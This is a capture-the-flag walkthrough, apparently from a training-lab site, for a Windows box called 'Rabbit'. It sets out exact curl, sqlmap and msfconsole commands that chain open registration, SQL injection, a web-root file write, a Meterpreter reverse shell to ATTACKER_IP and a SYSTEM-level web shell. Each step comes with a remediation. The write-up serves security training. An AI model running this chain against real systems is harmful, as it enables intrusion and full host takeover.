← all walkthroughs

Rabbit

Windows· Insane· Web
owned
2026-10-23
time to own
49m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a PHP complaint-management CMS on an internal port that allowed anyone to self-register a customer account. That low-privilege, authenticated session was enough to reach a backend admin report page vulnerable to SQL injection, which I used to confirm the MySQL engine ran as a user with file-write privileges.

Abusing that write primitive to drop a PHP file into the web root gave command execution as the web process, which was used to stage a Meterpreter payload and capture a foothold as user Raziel. A second PHP file dropped into the same web root and invoked directly ran with NT AUTHORITY\SYSTEM privileges, giving me full control of the host.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered, for rabbitagent2310>"

Some commands also carry a value in angle brackets — <session_from_login> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService and web-root enumeration
Discovered an internal complaint-management web application
A scan of the host turned up a secondary Apache/PHP service on port 8080, separate from the IIS site on port 80. Requesting its root redirected to a CMS login page under /complain/, revealing a custom PHP application (Apache 2.4.27 / PHP 5.6.31) with no network restriction on who could reach it.
HTTP 302 redirect from /complain/ to /complain/login.php on port 8080.
Exact commands 1
shell

Confirm the CMS is reachable and identify the redirect to login.php.

$ curl -ksS -I --max-time 8 http://$TARGET:8080/complain/
2Initial AccessUnrestricted self-service account registration
Self-registered an authenticated customer account
The CMS exposed an unauthenticated registration endpoint that created a 'customer' account with no email verification, approval step, or rate limiting. I registered an account and logged in to obtain a valid PHPSESSID session cookie, turning anonymous access into an authenticated session.
register.php accepted the submitted customer details for utype=customer (HTTP 200); login.php then issued a PHPSESSID session cookie (HTTP 302).
Exact commands 2
shell

Self-register a customer account with no vetting required.

$ curl -sS -i --max-time 12 -c cookie.txt -b cookie.txt "http://$TARGET:8080/complain/register.php" --data-urlencode 'txtUserName=rabbitagent2310' --data-urlencode "txtPassword=$PASSWORD2" --data-urlencode 'utype=customer' --data-urlencode 'txtAdd=1 Main St' --data-urlencode 'txtMob=5550102000' --data-urlencode 'Email=rabbitagent2310@example.invalid' --data-urlencode 'btnLogin=Register Now'
shell

Log in to obtain an authenticated PHPSESSID session cookie.

$ curl -sS -i --max-time 12 -c cookie.txt -b cookie.txt "http://$TARGET:8080/complain/login.php" --data-urlencode 'txtUserName=rabbitagent2310' --data-urlencode "txtPassword=$PASSWORD2" --data-urlencode 'utype=customer' --data-urlencode 'btnLogin=Login Now'
FixRestrict and vet self-service account registrationMedium
WeaknessThe CMS let anyone register a 'customer' account instantly with no email verification, admin approval, or abuse controls, handing an unauthorised user an authenticated session for free.
FixRequire email verification or admin approval before a new account can log in, add CAPTCHA/rate-limiting to register.php, and ensure customer accounts cannot reach admin-facing endpoints like view.php?mod=admin at all (server-side role check, not just UI hiding).
3ExploitationSQL Injection (CWE-89 / T1190)
Found and confirmed SQL injection in the authenticated report view
Using the newly authenticated session, I reached an admin-facing report endpoint, view.php?mod=admin&view=repod&id=plans, and found the 'id' parameter was concatenated directly into a MySQL query. Sqlmap confirmed the injection and used it to read database configuration, including whether the MySQL account had file-write permission (@@secure_file_priv).
Sqlmap confirmed the GET 'id' parameter on view.php was injectable (MySQL backend) and executed a custom SELECT @@secure_file_priv,@@version,USER(),@@datadir.
Exact commands 1
shell

Confirm the injection and check whether the DB user can write files to disk.

$ sqlmap -u "http://$TARGET:8080/complain/view.php?mod=admin&view=repod&id=plans" --cookie='PHPSESSID=<session_from_login>' --dbms=mysql -p id --batch --sql-query='SELECT @@secure_file_priv,@@version,USER(),@@datadir'
FixFix SQL injection in the report view and remove database file-write capabilityCritical
WeaknessThe 'id' parameter on view.php was concatenated directly into a MySQL query, and the database account had enough privilege (and secure_file_priv was not locked down) to write arbitrary files to disk, turning the injection into full remote code execution.
FixRewrite all queries to use parameterized statements/prepared queries (e.g. PDO with bound parameters), apply least privilege to the application's MySQL account (no FILE privilege, no access outside its own schema), and set secure_file_priv to a non-writable or restricted path.
4FootholdSQL injection to file write / Remote Code Execution (CWE-89, T1190)
Used the SQL injection's file-write capability to drop a PHP payload into the web root
With MySQL's file-write check returning a usable @@secure_file_priv/@@datadir, the same injection point was used to write a PHP payload into the Apache web root (8080) via the FILE privilege and execute it over HTTP. That gave code execution as the Apache service account and caught a Meterpreter session as the local user Raziel, from which user.txt was read.
After the SQLi @@secure_file_priv check confirmed FILE privilege, a Meterpreter session as Raziel was in hand and C:\Users\Raziel\Desktop\user.txt was read from it.
Exact commands 2
shell

Start a listener for the reverse shell from the PHP payload written through the SQL injection's FILE primitive.

$ msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST $ATTACKER_IP; set LPORT 4444; exploit -j"
shell

From the resulting Meterpreter session as Raziel, read user.txt (replace output with <user.txt> in reporting).

$ cat C:/Users/Raziel/Desktop/user.txt
5Privilege EscalationOverprivileged web service process / arbitrary code execution as SYSTEM (T1068)
Dropped and executed a second web shell that ran with SYSTEM privileges
The web root was writable and served by a web server process configured to run with far more privilege than it needed. A second PHP file (rabbit_8e39.php) placed in the same web-accessible directory was requested directly over HTTP and executed commands as NT AUTHORITY\SYSTEM, confirming the web service itself (not just the app account) ran with full system privileges.
Curl to /rabbit_8e39.php returned 'identity=nt authority\system' along with the root flag.
Exact commands 1
shell

Request the dropped PHP file; it executes as NT AUTHORITY\SYSTEM and returns the identity plus root.txt (replace output with <root.txt> in reporting).

$ curl -sS -m 10 -i http://$TARGET:8080/rabbit_8e39.php
FixRun the web server as a low-privilege account and disable execution in writable directoriesCritical
WeaknessThe Apache/PHP service that served the CMS ran with NT AUTHORITY\SYSTEM privileges, so an unauthorised user could get executed through the web root ran with full administrative control of the host.
FixRun the Apache/PHP service under a dedicated low-privilege service account (never SYSTEM or an Administrator), apply least-privilege ACLs to the web root so the service account cannot write new files to it, and disable script execution in any directory that remains writable by the application.

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

25/tcp
587/tcp
80/tcp
443/tcp
8080/tcp